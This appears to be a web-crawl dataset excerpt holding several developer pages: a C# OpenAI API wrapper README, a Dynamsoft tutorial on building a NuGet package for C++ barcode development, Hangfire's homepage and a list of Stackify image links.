IAsyncEnumerable<CompletionResult> StreamCompletionEnumerableAsync(CompletionRequest request); // for example await foreach (var token in api.Completions.StreamCompletionEnumerableAsync(new CompletionRequest("My name is Roger and I am a principal software engineer at Salesforce. This is my resume:", Model.DavinciText, 200, 0.5, presencePenalty: 0.1, frequencyPenalty: 0.1))) { Console.Write(token); }
Or if using classic .NET framework or C# <8.0:
async Task StreamCompletionAsync(CompletionRequest request, Action<CompletionResult> resultHandler); // for example await api.Completions.StreamCompletionAsync( new CompletionRequest("My name is Roger and I am a principal software engineer at Salesforce. This is my resume:", Model.DavinciText, 200, 0.5, presencePenalty: 0.1, frequencyPenalty: 0.1), res => ResumeTextbox.Text += res.ToString());
Audio
The Audio API's are Text to Speech, Transcription (speech to text), and Translation (non-English speech to English text).
Text to Speech (TTS)
The TTS API is accessed via OpenAIAPI.TextToSpeech:
await api.TextToSpeech.SaveSpeechToFileAsync("Hello, brave new world! This is a test.", outputPath); // You can open it in the defaul audio player like this: Process.Start(outputPath);
You can also specify all of the request parameters with a TextToSpeechRequest object:
var request = new TextToSpeechRequest() { Input = "Hello, brave new world! This is a test.", ResponseFormat = ResponseFormats.AAC, Model = Model.TTS_HD, Voice = Voices.Nova, Speed = 0.9 }; await api.TextToSpeech.SaveSpeechToFileAsync(request, "test.aac");
Instead of saving to a file, you can get audio byte stream with api.TextToSpeech.GetSpeechAsStreamAsync(request):
using (Stream result = await api.TextToSpeech.GetSpeechAsStreamAsync("Hello, brave new world!", Voices.Fable)) using (StreamReader reader = new StreamReader(result)) { // do something with the audio stream here }
Transcription (Speech to Text)
The Audio Transcription API allows you to generate text from audio, in any of the supported languages. It is accessed via OpenAIAPI.Transcriptions:
string resultText = await api.Transcriptions.GetTextAsync("path/to/file.mp3");
You can ask for verbose results, which will give you segment and token-level information, as well as the standard OpenAI metadata such as processing time:
AudioResultVerbose result = await api.Transcriptions.GetWithDetailsAsync("path/to/file.m4a"); Console.WriteLine(result.ProcessingTime.TotalMilliseconds); // 496ms Console.WriteLine(result.text); // "Hello, this is a test of the transcription function." Console.WriteLine(result.language); // "english" Console.WriteLine(result.segments[0].no_speech_prob); // 0.03712 // etc
You can also ask for results in SRT or VTT format, which is useful for generating subtitles for videos:
string result = await api.Transcriptions.GetAsFormatAsync("path/to/file.m4a", AudioRequest.ResponseFormats.SRT);
Additional parameters such as temperature, prompt, language, etc can be specified either per-request or as a default:
// inline result = await api.Transcriptions.GetTextAsync("conversation.mp3", "en", "This is a transcript of a conversation between a medical doctor and her patient: ", 0.3); // set defaults api.Transcriptions.DefaultTranscriptionRequestArgs.Language = "en";
Instead of providing a local file on disk, you can provide a stream of audio bytes. This can be useful for streaming audio from the microphone or another source without having to first write to disk. Please not you must specify a filename, which does not have to exist, but which must have an accurate extension for the type of audio that you are sending. OpenAI uses the filename extension to determine what format your audio stream is in.
using (var audioStream = File.OpenRead("path-here.mp3")) { return await api.Transcriptions.GetTextAsync(audioStream, "file.mp3"); }
Translations (Non-English Speech to English Text)
Translations allow you to transcribe text from any of the supported languages to English. OpenAI does not support translating into any other language, only English. It is accessed via OpenAIAPI.Translations. It supports all of the same functionality as the Transcriptions.
string result = await api.Translations.GetTextAsync("chinese-example.m4a");
Embeddings
The Embedding API is accessed via OpenAIAPI.Embeddings:
async Task<EmbeddingResult> CreateEmbeddingAsync(EmbeddingRequest request); // for example var result = await api.Embeddings.CreateEmbeddingAsync(new EmbeddingRequest("A test text for embedding", model: Model.AdaTextEmbedding)); // or var result = await api.Embeddings.CreateEmbeddingAsync("A test text for embedding");
The embedding result contains a lot of metadata, the actual vector of floats is in result.Data[].Embedding.
For simplicity, you can directly ask for the vector of floats and disgard the extra metadata with api.Embeddings.GetEmbeddingsAsync("test text here")
Moderation
The Moderation API is accessed via OpenAIAPI.Moderation:
async Task<ModerationResult> CreateEmbeddingAsync(ModerationRequest request); // for example var result = await api.Moderation.CallModerationAsync(new ModerationRequest("A test text for moderating", Model.TextModerationLatest)); // or var result = await api.Moderation.CallModerationAsync("A test text for moderating"); Console.WriteLine(result.results[0].MainContentFlag);
The results are in .results[0] and have nice helper methods like FlaggedCategories and MainContentFlag.
Files (for fine-tuning)
The Files API endpoint is accessed via OpenAIAPI.Files:
// uploading async Task<File> UploadFileAsync(string filePath, string purpose = "fine-tune"); // for example var response = await api.Files.UploadFileAsync("fine-tuning-data.jsonl"); Console.Write(response.Id); //the id of the uploaded file // listing async Task<List<File>> GetFilesAsync(); // for example var response = await api.Files.GetFilesAsync(); foreach (var file in response) { Console.WriteLine(file.Name); }
There are also methods to get file contents, delete a file, etc.
The fine-tuning endpoint itself has not yet been implemented, but will be added soon.
Images
The DALL-E Image Generation API is accessed via OpenAIAPI.ImageGenerations:
async Task<ImageResult> CreateImageAsync(ImageGenerationRequest request); // for example var result = await api.ImageGenerations.CreateImageAsync(new ImageGenerationRequest("A drawing of a computer writing a test", 1, ImageSize._512)); // or var result = await api.ImageGenerations.CreateImageAsync("A drawing of a computer writing a test"); Console.WriteLine(result.Data[0].Url);
The image result contains a URL for an online image or a base64-encoded image, depending on the ImageGenerationRequest.ResponseFormat (url is the default).
DALL-E 3
Use DALL-E 3 like this:
async Task<ImageResult> CreateImageAsync(ImageGenerationRequest request); // for example var result = await api.ImageGenerations.CreateImageAsync(new ImageGenerationRequest("A drawing of a computer writing a test", OpenAI_API.Models.Model.DALLE3, ImageSize._1024x1792, "hd")); // or var result = await api.ImageGenerations.CreateImageAsync("A drawing of a computer writing a test", OpenAI_API.Models.Model.DALLE3); Console.WriteLine(result.Data[0].Url);
Azure
For using the Azure OpenAI Service, you need to specify the name of your Azure OpenAI resource as well as your model deployment id.
I do not have access to the Microsoft Azure OpenAI service, so I am unable to test this functionality. If you have access and can test, please submit an issue describing your results. A PR with integration tests would also be greatly appreciated. Specifically, it is unclear to me that specifying models works the same way with Azure.
Refer the Azure OpenAI documentation and detailed screenshots in #64 for further information.
Configuration should look something like this for the Azure service:
OpenAIAPI api = OpenAIAPI.ForAzure("YourResourceName", "deploymentId", "api-key"); api.ApiVersion = "2023-03-15-preview"; // needed to access chat endpoint on Azure
You may then use the api object like normal. You may also specify the APIAuthentication is any of the other ways listed in the Authentication section above. Currently this library only supports the api-key flow, not the AD-Flow.
As of April 2, 2023, you need to manually select api version 2023-03-15-preview as shown above to access the chat endpoint on Azure. Once this is out of preview I will update the default.
IHttpClientFactory
You may specify an IHttpClientFactory to be used for HTTP requests, which allows for tweaking http request properties, connection pooling, and mocking. Details in #103.
OpenAIAPI api = new OpenAIAPI(); api.HttpClientFactory = myIHttpClientFactoryObject;
Documentation
Every single class, method, and property has extensive XML documentation, so it should show up automatically in IntelliSense. That combined with the official OpenAI documentation should be enough to get started. Feel free to open an issue here if you have any questions. Better documentation may come later.
License
CC-0 Public Domain
This library is licensed CC-0, in the public domain. You can use it for whatever you want, publicly or privately, without worrying about permission or licensing or whatever. It's just a wrapper around the OpenAI API, so you still need to get access to OpenAI from them directly. I am not affiliated with OpenAI and this library is not endorsed by them, I just have beta access and wanted to make a C# library to access it more easily. Hopefully others find this useful as well. Feel free to open a PR if there's anything you want to contribute.
|
|||
8582
|
dbpedia
|
3
| 32
|
https://www.dynamsoft.com/codepool/nuget-cpp-barcode-sdk-package.html
|
en
|
How to Make a NuGet Package for C++ Development in Visual Studio
|
[
"https://www.dynamsoft.com/codepool/img/2023/03/visual-cpp-console-app.png",
"https://www.dynamsoft.com/codepool/img/2023/03/nuget-install-webview.png",
"https://www.dynamsoft.com/codepool/img/2023/03/include-webview-header.png",
"https://www.dynamsoft.com/codepool/img/2023/03/nuget-webview-package.png",
"https://www.dynamsoft.com/codepool/img/2023/03/nuget-cpp-barcode-sdk-package.png",
"https://www.dynamsoft.com/codepool/img/2023/03/visual-cpp-barcode-reader.png"
] |
[] |
[] |
[
""
] | null |
[] |
2023-03-30T16:41:15+00:00
|
The article demonstrates how to make a NuGet package supporting both .NET and C++ barcode app development in Visual Studio.
|
Dynamsoft Developers Blog
|
https://www.dynamsoft.com/codepool/nuget-cpp-barcode-sdk-package.html
|
A NuGet package is a single ZIP file that can be easily distributed and installed in Visual Studio projects. It typically includes compiled code (such as DLLs), as well as other resources, metadata, and configuration files. While NuGet packages are commonly used for .NET projects, they can also be used for distributing C++ libraries, as noted in Microsoftâs official documentation. A Visual Studio C++ projects can install dependent native C++ packages via NuGet. All available native C++ packages can be found on NuGet.org by filtering with tag:native. In this article, we will demonstrate how to modify the BarcodeQRCodeSDK package to support both .NET and C++ barcode app development in Visual Studio.
About BarcodeQRCodeSDK
The BarcodeQRCodeSDK is a .NET wrapper that provides interfaces for using Dynamsoft Barcode Reader C++ SDK to recognize barcodes and QR codes in .NET projects.
Whatâs the Difference between *.csproj and *.nuspec Files?
Both *.csproj and *.nuspec files are used in the context of NuGet packages, but they serve different purposes.
*.csproj files are used in .NET projects. If you set <GeneratePackageOnBuild>true</GeneratePackageOnBuild> in the *.csproj file, the NuGet package will be generated automatically when you build the project.
*.nuspec files are used to define the metadata and contents of a NuGet package. It is used to create a NuGet package manually.
To create a NuGet package for both .NET and C++ projects, we need to use a *.csproj to build .NET assemblies and a *.nuspec to pack .NET and C++ DLLs into the final NuGet package.
A NuGet Package for .NET and C++
While Microsoft does not provide extensive documentation on how to create a native NuGet package, it does offer the Microsoft.Web.WebView2 package as an example that can be used as a reference. This package demonstrates the basic structure and content that is required for a native NuGet package, and can serve as a helpful starting point for developers who are new to creating these types of packages.
Test WebView2 NuGet Package for C++ Project
Here are the steps you can follow to verify whether the package will work correctly in a C++ project:
Create a new C++ console project.
Install WebView2 via NuGet.
Include the header files. If the header files are found and included correctly, there should be no syntax errors or red squiggly lines in your code editor.
Analyze the WebView2 NuGet Package
If you want to learn more about how the WebView2 package is structured and how it can be used in a C++ project, you can open it in NuGet Package Explorer to examine its contents. By doing so, you can see how the package is organized and what files are included, which can provide useful insights and guidance for creating your own NuGet packages.
In the WebView2 package, the build/native folder contains C++ header files and DLL files that are necessary for building and using the package in a C++ project. Additionally, the package includes a Microsoft.Web.WebView2.targets file, which is used to configure the build environment for the package.
Modify the BarcodeQRCodeSDK Package for C++ Development
The BarcodeQRCodeSDK package already contains the necessary C++ libraries for .NET invocation, located in the runtimes folder. However, to create a NuGet package that can be used in a C++ project, we will need to add the appropriate header files and create a *.targets file that specifies the necessary configurations.
Here are the steps:
Create a new file named BarcodeQRCodeSDK.targets.
Open the file in a text editor and add the following code to check the platform and architecture.
<MyPlatform Condition="'$(Platform)'=='x64'">x64</MyPlatform> <IsWindows Condition="'$(OS)'=='Windows_NT'">true</IsWindows> <IsLinux Condition="'$(OS)'=='Unix' and '$(OS)'!='Darwin'">true</IsLinux> <IsMacOS Condition="'$(OS)'=='Darwin'">true</IsMacOS>
Set the include path.
<ItemDefinitionGroup> <ClCompile> <AdditionalIncludeDirectories> $(MSBuildThisFileDirectory)\include\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> </ClCompile> </ItemDefinitionGroup>
Link the dependent libraries.
<ItemDefinitionGroup> <Link Condition="'$(MyPlatform)' == 'x64' and '$(IsWindows)'=='true'"> <AdditionalDependencies>DBRx64.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalLibraryDirectories> $(MSBuildThisFileDirectory)\..\..\runtimes\win-x64\native;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories> </Link> </ItemDefinitionGroup> <ItemDefinitionGroup> <Link Condition="'$(MyPlatform)' == 'x64' and '$(IsLinux)'=='true'"> <AdditionalDependencies>libDynamsoftBarcodeReader.so;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalLibraryDirectories> $(MSBuildThisFileDirectory)\..\..\runtimes\linux-x64\native;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories> </Link> </ItemDefinitionGroup> <ItemDefinitionGroup> <Link Condition="'$(MyPlatform)' == 'x64' and '$(IsMacOS)'=='true'"> <AdditionalDependencies>libDynamsoftBarcodeReader.dylib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalLibraryDirectories> $(MSBuildThisFileDirectory)\..\..\runtimes\osx-x64\native;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories> </Link> </ItemDefinitionGroup>
Copy the library files to the output directory.
<ItemGroup> <Content Include="$(MSBuildThisFileDirectory)\..\..\runtimes\win-x64\native\*.dll" Condition="'$(MyPlatform)' == 'x64' and '$(IsWindows)'=='true'"> <Link>%(RecursiveDir)%(FileName)%(Extension)</Link> <CopyToOutputDirectory>PreserveNewest</CopyToOutputDirectory> </Content> </ItemGroup> <ItemGroup> <Content Include="$(MSBuildThisFileDirectory)\..\..\runtimes\linux-x64\native\*.so" Condition="'$(MyPlatform)' == 'x64' and '$(IsLinux)'=='true'"> <Link>%(RecursiveDir)%(FileName)%(Extension)</Link> <CopyToOutputDirectory>PreserveNewest</CopyToOutputDirectory> </Content> </ItemGroup> <ItemGroup> <Content Include="$(MSBuildThisFileDirectory)\..\..\runtimes\win-x64\native\*.dylib" Condition="'$(MyPlatform)' == 'x64' and '$(IsMacOS)'=='true'"> <Link>%(RecursiveDir)%(FileName)%(Extension)</Link> <CopyToOutputDirectory>PreserveNewest</CopyToOutputDirectory> </Content> </ItemGroup>
Save the BarcodeQRCodeSDK.targets file and then create a BarcodeQRCodeSDK.nuspec file in the root folder for manually building the NuGet package. We use files element to specify the files to be included in the package.
<files> <file src="README.md" target="docs\" /> <file src="LICENSE.txt" target=""/> <file src="platform\win\**\*.*" target="runtimes\win-x64\native" /> <file src="platform\macos\**\*.*" target="runtimes\osx-x64\native" /> <file src="platform\linux\**\*.*" target="runtimes\linux-x64\native" /> <file src="bin\Release\net6.0\BarcodeQRCodeSDK.dll" target="lib\net6.0" /> <file src="include\**\*.*" target="build\native\include" /> <file src="BarcodeQRCodeSDK.targets" target="build\native" /> </files>
Now, we can build the NuGet package for .NET and C++ as follows:
dotnet build --configuration Release nuget pack BarcodeQRCodeReader.nuspec
Create a Simple C++ Barcode Reader with the NuGet Package
Create a new C++ project and add the NuGet package in Visual Studio.
Add the following code to the main.cpp file.
#include <iostream> #include <fstream> #include "DynamsoftBarcodeReader.h" #include "DynamsoftCommon.h" using namespace dynamsoft::dbr; typedef struct BarcodeFormatSet { int barcodeFormatIds; int barcodeFormatIds_2; }BarcodeFormatSet; unsigned long GetTime() { #if defined(_WIN64) || defined(_WIN32) return GetTickCount64(); #else struct timeval timing; gettimeofday(&timing, NULL); return timing.tv_sec * 1000 + timing.tv_usec / 1000; #endif } void ToHexString(unsigned char* pSrc, int iLen, char* pDest) { const char HEXCHARS[16] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' }; int i; char* ptr = pDest; for (i = 0; i < iLen; ++i) { snprintf(ptr, 4, "%c%c ", HEXCHARS[(pSrc[i] & 0xF0) >> 4], HEXCHARS[(pSrc[i] & 0x0F) >> 0]); ptr += 3; } } void OutputResult(CBarcodeReader& reader, int errorcode, float time) { char* pszTemp = NULL; char* pszTemp1 = NULL; char* pszTemp2 = NULL; int iRet = errorcode; pszTemp = (char*)malloc(4096); if (iRet != DBR_OK && iRet != DBRERR_MAXICODE_LICENSE_INVALID && iRet != DBRERR_AZTEC_LICENSE_INVALID && iRet != DBRERR_LICENSE_EXPIRED && iRet != DBRERR_QR_LICENSE_INVALID && iRet != DBRERR_GS1_COMPOSITE_LICENSE_INVALID && iRet != DBRERR_1D_LICENSE_INVALID && iRet != DBRERR_PDF417_LICENSE_INVALID && iRet != DBRERR_DATAMATRIX_LICENSE_INVALID && iRet != DBRERR_GS1_DATABAR_LICENSE_INVALID && iRet != DBRERR_PATCHCODE_LICENSE_INVALID && iRet != DBRERR_POSTALCODE_LICENSE_INVALID && iRet != DBRERR_DOTCODE_LICENSE_INVALID && iRet != DBRERR_DPM_LICENSE_INVALID && iRet != DBRERR_IRT_LICENSE_INVALID && iRet != DMERR_NO_LICENSE && iRet != DMERR_TRIAL_LICENSE) { snprintf(pszTemp, 4096, "Failed to read barcode: %s\r\n", CBarcodeReader::GetErrorString(iRet)); printf("%s", pszTemp); free(pszTemp); return; } TextResultArray* paryResult = NULL; reader.GetAllTextResults(&paryResult); if (paryResult->resultsCount == 0) { snprintf(pszTemp, 4096, "No barcode found. Total time spent: %.3f seconds.\r\n", time); printf("%s", pszTemp); free(pszTemp); CBarcodeReader::FreeTextResults(&paryResult); return; } snprintf(pszTemp, 4096, "Total barcode(s) found: %d. Total time spent: %.3f seconds\r\n\r\n", paryResult->resultsCount, time); printf("%s", pszTemp); for (int iIndex = 0; iIndex < paryResult->resultsCount; iIndex++) { snprintf(pszTemp, 4096, "Barcode %d:\r\n", iIndex + 1); printf("%s", pszTemp); snprintf(pszTemp, 4096, " Type: %s\r\n", paryResult->results[iIndex]->barcodeFormatString); printf("%s", pszTemp); snprintf(pszTemp, 4096, " Value: %s\r\n", paryResult->results[iIndex]->barcodeText); printf("%s", pszTemp); pszTemp1 = (char*)malloc(paryResult->results[iIndex]->barcodeBytesLength * 3 + 1); pszTemp2 = (char*)malloc(paryResult->results[iIndex]->barcodeBytesLength * 3 + 100); ToHexString(paryResult->results[iIndex]->barcodeBytes, paryResult->results[iIndex]->barcodeBytesLength, pszTemp1); snprintf(pszTemp2, paryResult->results[iIndex]->barcodeBytesLength * 3 + 100, " Hex Data: %s\r\n", pszTemp1); printf("%s", pszTemp2); free(pszTemp1); free(pszTemp2); } free(pszTemp); CBarcodeReader::FreeTextResults(&paryResult); } int main(int argc, const char* argv[]) { int iIndex = 0; int iRet = -1; unsigned long ullTimeBegin = 0; unsigned long ullTimeEnd = 0; char szErrorMsg[256]; PublicRuntimeSettings runtimeSettings; printf("*************************************************\r\n"); printf("Welcome to Dynamsoft Barcode Reader Demo\r\n"); printf("*************************************************\r\n"); printf("Hints: Please input 'Q' or 'q' to quit the application.\r\n"); iRet = CBarcodeReader::InitLicense("DLS2eyJoYW5kc2hha2VDb2RlIjoiMjAwMDAxLTE2NDk4Mjk3OTI2MzUiLCJvcmdhbml6YXRpb25JRCI6IjIwMDAwMSIsInNlc3Npb25QYXNzd29yZCI6IndTcGR6Vm05WDJrcEQ5YUoifQ==", szErrorMsg, 256); if (iRet != DBR_OK) { printf("InitLicense Failed: %s\n", szErrorMsg); } CBarcodeReader reader; while (1) { std::string input; std::cout << "\r\n>> Step 1: Input your image file's full path:\r\n"; std::cin >> input; if (input._Equal("q") || input._Equal("Q")) { return true; } std::ifstream file(input); if (!file.good()) { std::cout << "Please input a valid path.\r\n" << std::endl; continue; } reader.InitRuntimeSettingsWithString("{\"ImageParameter\":{\"Name\":\"BestCoverage\",\"BarcodeFormatIds\": [\"BF_ALL\"],\"BarcodeFormatIds_2\": [\"BF2_POSTALCODE\", \"BF2_DOTCODE\"] , \"DeblurLevel\":9,\"ExpectedBarcodesCount\":512,\"ScaleDownThreshold\":100000,\"LocalizationModes\":[{\"Mode\":\"LM_CONNECTED_BLOCKS\"},{\"Mode\":\"LM_SCAN_DIRECTLY\"},{\"Mode\":\"LM_STATISTICS\"},{\"Mode\":\"LM_LINES\"},{\"Mode\":\"LM_STATISTICS_MARKS\"}],\"GrayscaleTransformationModes\":[{\"Mode\":\"GTM_ORIGINAL\"},{\"Mode\":\"GTM_INVERTED\"}]}}", CM_OVERWRITE, szErrorMsg, 256); reader.GetRuntimeSettings(&runtimeSettings); runtimeSettings.barcodeFormatIds = BF_ALL; runtimeSettings.barcodeFormatIds_2 = BF2_POSTALCODE | BF2_DOTCODE; iRet = reader.UpdateRuntimeSettings(&runtimeSettings, szErrorMsg, 256); if (iRet != DBR_OK) { printf("Error code: %d. Error message: %s\n", iRet, szErrorMsg); return -1; } ullTimeBegin = GetTime(); iRet = reader.DecodeFile(input.c_str(), ""); ullTimeEnd = GetTime(); OutputResult(reader, iRet, (((float)(ullTimeEnd - ullTimeBegin)) / 1000)); } return 0; }
Press F5 to run the project.
Source Code
|
||||||
8582
|
dbpedia
|
0
| 67
|
https://www.hangfire.io/
|
en
|
Hangfire â Background jobs and workers for .NET and .NET Core
|
[
"https://www.hangfire.io/logo.svg",
"https://www.hangfire.io/shields/nuget/v/Hangfire.Core.svg?label=release",
"https://www.hangfire.io/shields/nuget/dt/Hangfire.Core.svg?style=flat",
"https://www.hangfire.io/shields/github/stars/HangfireIO/Hangfire.svg?style=social",
"https://www.hangfire.io/img/ui/dashboard-sm.png",
"https://www.hangfire.io/img/ui/queues-sm.png",
"https://www.hangfire.io/img/ui/job-details-sm.png",
"https://www.hangfire.io/img/ui/retries-sm.png",
"https://www.hangfire.io/img/ui/failed-jobs-sm.png",
"https://www.hangfire.io/img/ui/recurring-jobs-sm.png",
"https://www.hangfire.io/img/ui/batches-sm.png",
"https://www.hangfire.io/img/ui/batch-details-sm.png",
"https://www.hangfire.io/img/ui/batch-jobs-sm.png",
"https://www.hangfire.io/img/udemy.png",
"https://www.hangfire.io/img/pluralsight.png"
] |
[] |
[] |
[
"asp.net background jobs",
"asp.net background workers"
] | null |
[] |
2024-06-12T00:00:00+00:00
|
An easy way to perform background processing in .NET and .NET Core applications. No Windows Service or separate process required.
|
en
|
/apple-touch-icon.png
|
https://www.hangfire.io
|
An easy way to perform background processing in .NET and .NET Core applications. No Windows Service or separate process required.
Backed by persistent storage. Open and free for commercial use.
Simple
Easy to set up, easy to use. No Windows Service, no Windows Scheduler, no separate applications required.
Background jobs are regular static or instance .NET methods with regular arguments â no base class or interface implementation required.
Persistent
Background jobs are created in a persistent storage â SQL Server and Redis supported officially, and a lot of other community-driven storages.
You can safely restart your application and use Hangfire with ASP.NET without worrying about application pool recycles.
Transparent
Built-in web interface allow you to see the whole picture of your background processing, as well as observe the state of each background job.
Out of the box support for popular logging frameworks allows you to catch errors early with zero configuration.
Reliable
Once a background job was created without any exception, Hangfire takes the responsibility to process it with the at least once semantics.
You are free to throw unhandled exceptions or terminate your application â background jobs will be re-tried automatically.
Distributed
Background method calls and their arguments are serialized and may overcome the process boundaries.
You can use Hangfire on different machines to get more processing power with no configuration â synchronization is performed automatically.
|
|||||
8582
|
dbpedia
|
0
| 88
|
https://learn.outsystems.com/training/journeys/using-csharp-code-473
|
en
|
[] |
[] |
[] |
[
""
] | null |
[] | null | null | ||||||||||
8582
|
dbpedia
|
2
| 29
|
https://stackify.com/best-csharp-tools/
|
en
|
Best C# Tools: IDEs, Automation Tools, APM & More
|
[
"https://stackify.com/wp-content/uploads/2024/05/logo-1-150x47.webp",
"https://stackify.com/wp-content/uploads/2024/05/logo-1-150x47.webp",
"https://stackify.com/wp-content/themes/stackify/assets/img/search-icon.svg",
"https://stackify.com/wp-content/themes/stackify/assets/img/search-icon.svg",
"https://stackify.com/wp-content/themes/stackify/assets/img/search-closew.svg",
"https://stackify.com/wp-content/themes/stackify/assets/img/search-closew.svg",
"https://stackify.com/wp-content/themes/stackify/assets/img/search-icon.svg",
"https://stackify.com/wp-content/themes/stackify/assets/img/search-icon.svg",
"https://stackify.com/wp-content/themes/stackify/assets/img/search-closew.svg",
"https://stackify.com/wp-content/themes/stackify/assets/img/search-closew.svg",
"https://stackify.com/wp-content/uploads/2023/07/The-Ultimate-List-of-C-Tools-IDEs-Profilers-Automation-Tools-and-More.png",
"https://stackify.com/wp-content/uploads/2023/07/The-Ultimate-List-of-C-Tools-IDEs-Profilers-Automation-Tools-and-More.png",
"https://stackify.com/wp-content/uploads/2023/07/vs2022-1024x508.webp",
"https://stackify.com/wp-content/uploads/2023/07/vs2022-1024x508.webp",
"https://stackify.com/wp-content/uploads/2017/08/visual-studio-code-min-13011.jpg",
"https://stackify.com/wp-content/uploads/2017/08/visual-studio-code-min-13011.jpg",
"https://stackify.com/wp-content/uploads/2017/08/mono-develop-min-12988.jpg",
"https://stackify.com/wp-content/uploads/2017/08/mono-develop-min-12988.jpg",
"https://stackify.com/wp-content/uploads/2017/08/rider-min-13001.jpg",
"https://stackify.com/wp-content/uploads/2017/08/rider-min-13001.jpg",
"https://stackify.com/wp-content/uploads/2023/07/sonar.png",
"https://stackify.com/wp-content/uploads/2023/07/sonar.png",
"https://stackify.com/wp-content/uploads/2017/08/productivity-power-tools-2017png-min-12996.jpg",
"https://stackify.com/wp-content/uploads/2017/08/productivity-power-tools-2017png-min-12996.jpg",
"https://stackify.com/wp-content/uploads/2017/08/codemaid-min-12968.jpg",
"https://stackify.com/wp-content/uploads/2017/08/codemaid-min-12968.jpg",
"https://stackify.com/wp-content/uploads/2017/08/refactoring-essentials-min-12997.jpg",
"https://stackify.com/wp-content/uploads/2017/08/refactoring-essentials-min-12997.jpg",
"https://stackify.com/wp-content/uploads/2017/08/slickedit-min-13006.jpg",
"https://stackify.com/wp-content/uploads/2017/08/slickedit-min-13006.jpg",
"https://stackify.com/wp-content/uploads/2017/09/Screen-Shot-2021-06-11-at-9.12.08-AM-1024x437.png",
"https://stackify.com/wp-content/uploads/2017/09/Screen-Shot-2021-06-11-at-9.12.08-AM-1024x437.png",
"https://stackify.com/wp-content/uploads/2017/08/jdoodle-min-12982.jpg",
"https://stackify.com/wp-content/uploads/2017/08/jdoodle-min-12982.jpg",
"https://stackify.com/wp-content/uploads/2017/08/dotnetfiddle-min-12973.jpg",
"https://stackify.com/wp-content/uploads/2017/08/dotnetfiddle-min-12973.jpg",
"https://stackify.com/wp-content/uploads/2017/09/Screen-Shot-2021-06-11-at-9.16.05-AM-1024x446.png",
"https://stackify.com/wp-content/uploads/2017/09/Screen-Shot-2021-06-11-at-9.16.05-AM-1024x446.png",
"https://stackify.com/wp-content/uploads/2017/08/jsondotnet-min-12985.jpg",
"https://stackify.com/wp-content/uploads/2017/08/jsondotnet-min-12985.jpg",
"https://stackify.com/wp-content/uploads/2017/08/dotpeek-min-12974.jpg",
"https://stackify.com/wp-content/uploads/2017/08/dotpeek-min-12974.jpg",
"https://stackify.com/wp-content/uploads/2017/08/ilspy-min-12980.jpg",
"https://stackify.com/wp-content/uploads/2017/08/ilspy-min-12980.jpg",
"https://stackify.com/wp-content/uploads/2017/08/justdecompile-min-12986.jpg",
"https://stackify.com/wp-content/uploads/2017/08/justdecompile-min-12986.jpg",
"https://stackify.com/wp-content/uploads/2017/08/Telerik-Code-Converter-min.jpg",
"https://stackify.com/wp-content/uploads/2017/08/Telerik-Code-Converter-min.jpg",
"https://stackify.com/wp-content/uploads/2017/08/cake-min-12967.jpg",
"https://stackify.com/wp-content/uploads/2017/08/cake-min-12967.jpg",
"https://stackify.com/wp-content/uploads/2017/08/msbuild-min-12990.jpg",
"https://stackify.com/wp-content/uploads/2017/08/msbuild-min-12990.jpg",
"https://stackify.com/wp-content/uploads/2017/08/finalbuilder-min-12978.jpg",
"https://stackify.com/wp-content/uploads/2017/08/finalbuilder-min-12978.jpg",
"https://stackify.com/wp-content/uploads/2017/08/semanticmerge-min-13004.jpg",
"https://stackify.com/wp-content/uploads/2017/08/semanticmerge-min-13004.jpg",
"https://stackify.com/wp-content/uploads/2017/08/git-min-12979.jpg",
"https://stackify.com/wp-content/uploads/2017/08/git-min-12979.jpg",
"https://stackify.com/wp-content/uploads/2017/08/team-foundation-version-control-min-13009.jpg",
"https://stackify.com/wp-content/uploads/2017/08/team-foundation-version-control-min-13009.jpg",
"https://stackify.com/wp-content/uploads/2017/08/bitbucket-min-12966.jpg",
"https://stackify.com/wp-content/uploads/2017/08/bitbucket-min-12966.jpg",
"https://stackify.com/wp-content/uploads/2017/08/sourcetree-min-13007.jpg",
"https://stackify.com/wp-content/uploads/2017/08/sourcetree-min-13007.jpg",
"https://stackify.com/wp-content/uploads/2017/08/linqpad-min-12987.jpg",
"https://stackify.com/wp-content/uploads/2017/08/linqpad-min-12987.jpg",
"https://stackify.com/wp-content/uploads/2017/08/seleniumhq-min-13003.jpg",
"https://stackify.com/wp-content/uploads/2017/08/seleniumhq-min-13003.jpg",
"https://stackify.com/wp-content/uploads/2017/08/resharper-min-12999.jpg",
"https://stackify.com/wp-content/uploads/2017/08/resharper-min-12999.jpg",
"https://stackify.com/wp-content/uploads/2017/08/ozcode-min-12994.jpg",
"https://stackify.com/wp-content/uploads/2017/08/ozcode-min-12994.jpg",
"https://stackify.com/wp-content/uploads/2017/08/coderush-min-12969.jpg",
"https://stackify.com/wp-content/uploads/2017/08/coderush-min-12969.jpg",
"https://stackify.com/wp-content/uploads/2017/08/prefix-screenshot-13013.png",
"https://stackify.com/wp-content/uploads/2017/08/prefix-screenshot-13013.png",
"https://stackify.com/wp-content/uploads/2017/08/dottrace-min-12975.jpg",
"https://stackify.com/wp-content/uploads/2017/08/dottrace-min-12975.jpg",
"https://stackify.com/wp-content/uploads/2017/08/ants-performance-profiler-min-12962.jpg",
"https://stackify.com/wp-content/uploads/2017/08/ants-performance-profiler-min-12962.jpg",
"https://stackify.com/wp-content/uploads/2017/08/nprofiler-min-12992.jpg",
"https://stackify.com/wp-content/uploads/2017/08/nprofiler-min-12992.jpg",
"https://stackify.com/wp-content/uploads/2017/08/retrace-screenshot-13014.png",
"https://stackify.com/wp-content/uploads/2017/08/retrace-screenshot-13014.png",
"https://stackify.com/wp-content/uploads/2017/08/octopus-min-12993.jpg",
"https://stackify.com/wp-content/uploads/2017/08/octopus-min-12993.jpg",
"https://stackify.com/wp-content/uploads/2017/08/appveyor-min-12964.jpg",
"https://stackify.com/wp-content/uploads/2017/08/appveyor-min-12964.jpg",
"https://stackify.com/wp-content/uploads/2017/08/appharbor-min-12963.jpg",
"https://stackify.com/wp-content/uploads/2017/08/appharbor-min-12963.jpg",
"https://stackify.com/wp-content/uploads/2017/08/jenkins-min-12983.jpg",
"https://stackify.com/wp-content/uploads/2017/08/jenkins-min-12983.jpg",
